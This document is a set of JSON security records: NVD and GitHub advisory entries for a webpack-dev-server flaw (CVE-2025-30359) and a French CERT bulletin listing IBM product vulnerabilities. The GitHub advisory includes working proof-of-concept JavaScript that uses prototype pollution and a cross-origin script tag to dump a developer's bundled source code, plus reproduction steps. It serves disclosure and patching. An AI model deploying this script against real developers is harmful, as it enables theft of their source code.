{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:webpack.js:webpack-dev-server:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "16C3C1AC-AB15-456C-831A-A7F07FE7B88C",
              "versionEndExcluding": "5.2.1",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users\u0027 source code may be stolen when they access a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code. Version 5.2.1 contains a patch for the issue."
    },
    {
      "lang": "es",
      "value": "webpack-dev-server permite a los usuarios usar webpack con un servidor de desarrollo que permite la recarga en tiempo real. Antes de la versi\u00f3n 5.2.1, el c\u00f3digo fuente de los usuarios de webpack-dev-server pod\u00eda ser robado al acceder a un sitio web malicioso. Dado que la solicitud de un script cl\u00e1sico mediante una etiqueta de script no est\u00e1 sujeta a la pol\u00edtica del mismo origen, un atacante puede inyectar un script malicioso en su sitio y ejecutarlo. Tenga en cuenta que el atacante debe conocer el puerto y la ruta del script del punto de entrada de salida. Combinando la contaminaci\u00f3n del prototipo, el atacante puede obtener una referencia a las variables de tiempo de ejecuci\u00f3n de webpack. Al usar `Function::toString` con los valores de `__webpack_modules__`, el atacante puede obtener el c\u00f3digo fuente. La versi\u00f3n 5.2.1 incluye un parche para este problema."
    }
  ],
  "id": "CVE-2025-30359",
  "lastModified": "2025-10-03T01:12:23.030",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 1.6,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.9,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2025-06-03T18:15:25.243",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/webpack/webpack-dev-server/commit/d2575ad8dfed9207ed810b5ea0ccf465115a2239"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-4v9v-hfq4-rm2v"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-749"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.2.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "webpack-dev-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-30359"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-04T21:09:13Z",
    "nvd_published_at": "2025-06-03T18:15:25Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nSource code may be stolen when you access a malicious web site.\n\n### Details\nBecause the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `\u003cscript src=\"http://localhost:8080/main.js\"\u003e` in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables.\nBy using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code.\n\n### PoC\n1. Download [reproduction.zip](https://github.com/user-attachments/files/18426585/reproduction.zip) and extract it\n2. Run `npm i`\n3. Run `npx webpack-dev-server`\n4. Open `https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/`\n5. You can see the source code output in the document and the devtools console.\n\n![image](https://github.com/user-attachments/assets/9d4dcdca-5d24-4c84-a7b4-feb1782bca09)\n\nThe script in the POC site is:\n```js\nlet moduleList\nconst onHandlerSet = (handler) =\u003e {\n  console.log(\u0027h\u0027, handler)\n  moduleList = handler.require.m\n}\n\nconst originalArrayForEach = Array.prototype.forEach\nArray.prototype.forEach = function forEach(callback, thisArg) {\n  callback((handler) =\u003e {\n    onHandlerSet(handler)\n  })\n  originalArrayForEach.call(this, callback, thisArg)\n  Array.prototype.forEach = originalArrayForEach\n}\n\nconst script = document.createElement(\u0027script\u0027)\nscript.src = \u0027http://localhost:8080/main.js\u0027\nscript.addEventListener(\u0027load\u0027, () =\u003e {\n  console.log(moduleList)\n  for (const key in moduleList) {\n    const p = document.createElement(\u0027p\u0027)\n    const title = document.createElement(\u0027strong\u0027)\n    title.textContent = key\n    const code = document.createElement(\u0027code\u0027)\n    code.textContent = moduleList[key].toString()\n    p.append(title, \u0027:\u0027, document.createElement(\u0027br\u0027), code)\n    document.body.appendChild(p)\n  }\n})\ndocument.head.appendChild(script)\n```\n\nThis script uses the function generated by [`renderRequire`](https://github.com/webpack/webpack/blob/3919c844eca394d73ca930e4fc5506fb86e2b094/lib/javascript/JavascriptModulesPlugin.js#L1383).\n```js\n    // The require function\n    function __webpack_require__(moduleId) {\n        // Check if module is in cache\n        var cachedModule = __webpack_module_cache__[moduleId];\n        if (cachedModule !== undefined) {\n            return cachedModule.exports;\n        }\n        // Create a new module (and put it into the cache)\n        var module = __webpack_module_cache__[moduleId] = {\n            // no module.id needed\n            // no module.loaded needed\n            exports: {}\n        };\n        // Execute the module function\n        var execOptions = {\n            id: moduleId,\n            module: module,\n            factory: __webpack_modules__[moduleId],\n            require: __webpack_require__\n        };\n        __webpack_require__.i.forEach(function(handler) {\n            handler(execOptions);\n        });\n        module = execOptions.module;\n        execOptions.factory.call(module.exports, module, module.exports, execOptions.require);\n        // Return the exports of the module\n        return module.exports;\n    }\n```\nEspecially, it uses the fact that `Array::forEach` is called for `__webpack_require__.i` and `execOptions` contains `__webpack_require__`.\nIt uses prototype pollution against `Array::forEach` to extract `__webpack_require__` reference.\n\n### Impact\nThis vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script.\n\n\u003cdetails\u003e\n\u003csummary\u003eOld content\u003c/summary\u003e\n\n### Summary\nSource code may be stolen when you use [`output.iife: false`](https://webpack.js.org/configuration/output/#outputiife) and access a malicious web site.\n\n### Details\nWhen `output.iife: false` is set, some global variables for the webpack runtime are declared on the `window` object (e.g. `__webpack_modules__`).\nBecause the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `\u003cscript src=\"http://localhost:8080/main.js\"\u003e` in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. By running that, the webpack runtime variables will be declared on the `window` object.\nBy using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code.\n\nI pointed out `output.iife: false`, but if there are other options that makes the webpack runtime variables to be declared on the `window` object, the same will apply for those cases.\n\n### PoC\n1. Download [reproduction.zip](https://github.com/user-attachments/files/18409777/reproduction.zip) and extract it\n2. Run `npm i`\n3. Run `npx webpack-dev-server`\n4. Open `https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/`\n5. Open the devtools console.\n6. You can see the content of `src/index.js` and other scripts loaded.\n\n![image](https://github.com/user-attachments/assets/87801607-57bb-4656-bc0d-2bfbe207f436)\n\nThe script in the POC site is:\n```js\nconst script = document.createElement(\u0027script\u0027)\nscript.src = \u0027http://localhost:8080/main.js\u0027\nscript.addEventListener(\u0027load\u0027, () =\u003e {\n    for (const module in window.__webpack_modules__) {\n        console.log(`${module}:`, window.__webpack_modules__[module].toString())\n    }\n})\ndocument.head.appendChild(script)\n```\n\n### Impact\nThis vulnerability can result in the source code to be stolen for users that has `output.iife: false` option set and uses a predictable port and output path for the entrypoint script.\n\n\u003c/details\u003e",
  "id": "GHSA-4v9v-hfq4-rm2v",
  "modified": "2025-10-03T13:25:38Z",
  "published": "2025-06-04T21:09:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-4v9v-hfq4-rm2v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30359"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webpack/webpack-dev-server/commit/5c9378bb01276357d7af208a0856ca2163db188e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webpack/webpack-dev-server/commit/d2575ad8dfed9207ed810b5ea0ccf465115a2239"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/webpack/webpack-dev-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "webpack-dev-server users\u0027 source code may be stolen when they access a malicious web site"
}

{
  "$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
  "affected_systems": [
    {
      "description": "QRadar Incident Forensics versions 7.5.x ant\u00e9rieures \u00e0 QIF 7.5.0 UP13 IF01",
      "product": {
        "name": "QRadar",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "WebSphere Service Registry and Repository versions 8.5 sans les derniers correctifs de s\u00e9curit\u00e9",
      "product": {
        "name": "WebSphere Service Registry and Repository",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "Sterling B2B Integrator versions 6.x ant\u00e9rieures \u00e0 6.2.1.1",
      "product": {
        "name": "Sterling B2B Integrator",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "QRadar Data Synchronization App versions ant\u00e9rieures \u00e0 3.2.2",
      "product": {
        "name": "QRadar",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "QRadar Log Source Management App versions ant\u00e9rieures \u00e0 7.0.12",
      "product": {
        "name": "QRadar Log Source Management App",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "Sterling File Gateway versions 6.x ant\u00e9rieures \u00e0 6.2.1.1",
      "product": {
        "name": "Sterling File Gateway",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "QRadar SIEM QRadar versions 7.5.x ant\u00e9rieures \u00e0 7.5.0 UP13 IF01",
      "product": {
        "name": "QRadar SIEM",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    },
    {
      "description": "SOAR QRadar Plugin App versions ant\u00e9rieures \u00e0 5.6.2",
      "product": {
        "name": "QRadar",
        "vendor": {
          "name": "IBM",
          "scada": false
        }
      }
    }
  ],
  "affected_systems_content": "",
  "content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
  "cves": [
    {
      "name": "CVE-2025-32996",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-32996"
    },
    {
      "name": "CVE-2025-36042",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-36042"
    },
    {
      "name": "CVE-2025-27516",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-27516"
    },
    {
      "name": "CVE-2025-48050",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-48050"
    },
    {
      "name": "CVE-2025-22150",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-22150"
    },
    {
      "name": "CVE-2024-11831",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-11831"
    },
    {
      "name": "CVE-2025-6545",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-6545"
    },
    {
      "name": "CVE-2025-50182",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-50182"
    },
    {
      "name": "CVE-2025-50181",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-50181"
    },
    {
      "name": "CVE-2025-7783",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-7783"
    },
    {
      "name": "CVE-2018-14732",
      "url": "https://www.cve.org/CVERecord?id=CVE-2018-14732"
    },
    {
      "name": "CVE-2025-23085",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-23085"
    },
    {
      "name": "CVE-2025-32997",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-32997"
    },
    {
      "name": "CVE-2025-48976",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-48976"
    },
    {
      "name": "CVE-2025-30360",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-30360"
    },
    {
      "name": "CVE-2025-33120",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-33120"
    },
    {
      "name": "CVE-2025-26791",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-26791"
    },
    {
      "name": "CVE-2025-23184",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-23184"
    },
    {
      "name": "CVE-2024-47081",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-47081"
    },
    {
      "name": "CVE-2025-5889",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-5889"
    },
    {
      "name": "CVE-2025-7339",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-7339"
    },
    {
      "name": "CVE-2025-27789",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-27789"
    },
    {
      "name": "CVE-2025-30359",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-30359"
    },
    {
      "name": "CVE-2025-6547",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-6547"
    },
    {
      "name": "CVE-2025-47273",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-47273"
    }
  ],
  "initial_release_date": "2025-08-22T00:00:00",
  "last_revision_date": "2025-08-22T00:00:00",
  "links": [],
  "reference": "CERTFR-2025-AVI-0724",
  "revisions": [
    {
      "description": "Version initiale",
      "revision_date": "2025-08-22T00:00:00.000000"
    }
  ],
  "risks": [
    {
      "description": "D\u00e9ni de service \u00e0 distance"
    },
    {
      "description": "Injection de code indirecte \u00e0 distance (XSS)"
    },
    {
      "description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
    },
    {
      "description": "Falsification de requ\u00eates c\u00f4t\u00e9 serveur (SSRF)"
    },
    {
      "description": "Contournement de la politique de s\u00e9curit\u00e9"
    },
    {
      "description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
    },
    {
      "description": "\u00c9l\u00e9vation de privil\u00e8ges"
    }
  ],
  "summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans les produits IBM. Certaines d\u0027entre elles permettent \u00e0 un attaquant de provoquer une ex\u00e9cution de code arbitraire \u00e0 distance, une \u00e9l\u00e9vation de privil\u00e8ges et un d\u00e9ni de service \u00e0 distance.",
  "title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits IBM",
  "vendor_advisories": [
    {
      "published_at": "2025-08-15",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7242291",
      "url": "https://www.ibm.com/support/pages/node/7242291"
    },
    {
      "published_at": "2025-08-15",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7242269",
      "url": "https://www.ibm.com/support/pages/node/7242269"
    },
    {
      "published_at": "2025-08-15",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7242292",
      "url": "https://www.ibm.com/support/pages/node/7242292"
    },
    {
      "published_at": "2025-08-14",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7242246",
      "url": "https://www.ibm.com/support/pages/node/7242246"
    },
    {
      "published_at": "2025-08-21",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7242869",
      "url": "https://www.ibm.com/support/pages/node/7242869"
    },
    {
      "published_at": "2025-08-20",
      "title": "Bulletin de s\u00e9curit\u00e9 IBM 7242665",
      "url": "https://www.ibm.com/support/pages/node/7242665"
    }
  ]
}